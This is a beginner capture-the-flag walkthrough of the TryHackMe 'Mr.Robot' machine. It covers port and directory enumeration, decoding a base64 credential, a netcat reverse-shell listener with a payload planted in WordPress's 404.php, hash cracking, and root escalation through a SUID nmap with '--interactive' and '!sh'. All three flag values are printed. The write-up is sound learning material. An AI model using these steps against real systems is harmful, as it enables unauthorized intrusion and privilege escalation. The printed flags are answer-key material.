TryHackMe: Mr.Robot

3 min readOct 4, 2024

--

Can you root this Mr. Robot styled machine? This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?

Reconnaissance

Network Enumeration

$ nmap -sC -sV 10.10.3.144
# 80/tcp open http Apache httpd
# 443/tcp open ssl/http Apache httpd

Scan this IP address by using default script and try to determine versions of each services is running on IP address for getting fully information about this system.

Directory Enumeration

$ ffuf -w /opt/SecLists/Discovery/Web-Content/common.txt -u http://10.10.3.144/FUZZ
# robots.txt
# wp-admin
# license

Finding a hidden directories by using ffuf command.
curl command use to download the information from the internet.
robots.txt is a text file that tells the web crawler (A program that searches for information from websites, such as Googlebot) knows which parts of the website are accessible. and which parts should not be accessed.

$ curl http://10.10.3.144/robots.txt
# key-1-of-3.txt

$ curl http://10.10.3.144/key-1-of-3.txt
# Flag_1: 073403c8a58a1f80d943455fb30724b9

Find username and password

$ curl http://10.10.3.144/license
# ZWxsaW90OkVSMjgtMDY1Mgo=

In license file I saw some string it look like a base64.
Decode base64 strings.

$ echo "ZWxsaW90OkVSMjgtMDY1Mgo=" | base64 -d
# elliot:ER28-0652

Login to website by using username and password that we just found.

Get Joshua Suksakorn’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Getting a reverse shell

$ nc -lvnp 1004

This command will make your computer act like a mini server. By waiting for incoming connections to port 2024 when there is an incoming connection. The program will display information about that connection. and ready to send and receive data with the connected person.
Use revshells to create payload for getting reverse shell.

Put the payload that we just create into website.

Execute code by typing http://10.10.3.144/404.php

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# Create new terminal by using python3 code.

daemon@linux:/$ cd /home/robot

daemon@linux:/home/robot$ cat password.raw-md5
# robot:c3fcd3d76192e4007dfb496cca67e13b 
# This is a hash password

Use crackstation to crack the hash password.

Login to robot account.

daemon@linux:/home/robot$ su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ cat key-2-of-3.txt
# Flag_2: 822c73956184f694993bede3eb39f959

Privilege Escalation

robot@linux:~$ find / -perm -u=s -type f 2>/dev/null
# /usr/local/bin/nmap

Find all files on the system where the file owner has special permissions to run the file as a program. It will not display any error messages.
Use GTFObins to search payload to bypass the sudo permission.

robot@linux:/$ nmap --interactive
nmap> !sh
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash-4.3$ whoami
# root
bash-4.3$ cd /root
bash-4.3$ ls
# firstboot_done key-3-of-3.txt
bash-4.3$ cat key-3-of-3.txt
# Flag_3: 04787ddef27c3dee1ee161b21670b4e4